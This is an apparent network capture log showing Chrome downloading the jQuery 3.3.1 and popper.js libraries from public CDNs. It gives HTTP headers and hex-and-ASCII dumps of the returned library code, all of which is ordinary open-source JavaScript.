2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49733	151.101.66.137	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:23 UTC	354	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:23 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3344832 Date: Sun, 29 Sep 2024 00:10:23 GMT X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740061-EWR X-Cache: HIT, HIT X-Cache-Hits: 146, 0 X-Timer: S1727568624.673680,VS0,VE1 Vary: Accept-Encoding
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-09-29 00:10:23 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49734	104.17.25.14	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:23 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:23 UTC	936	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:10:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 868852 Expires: Fri, 19 Sep 2025 00:10:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RoMoTcW8kn49pf4QXzYM8MVwsB0QV%2BVmwmM2c%2BRUFKNsGZR0zjqJxI%2B5LwQOvkFdFa8q%2FnR%2BXwq%2Blb9bpIf0wybirjVkXNpoBqQASGw2rsVCbKbliwCWI0Vo3tGhIEFATgunZvJ%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ca7bff9fa5c18ea-EWR
2024-09-29 00:10:23 UTC	433	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 20 69 3d 74 Data Ascii: o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 61 72 73 65 Data Ascii: h&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parse
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d 3d 3d 64 26 Data Ascii: eft-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&
2024-09-29 00:10:23 UTC	1369	IN	Data Raw: 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 3e Data Ascii: dth:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>
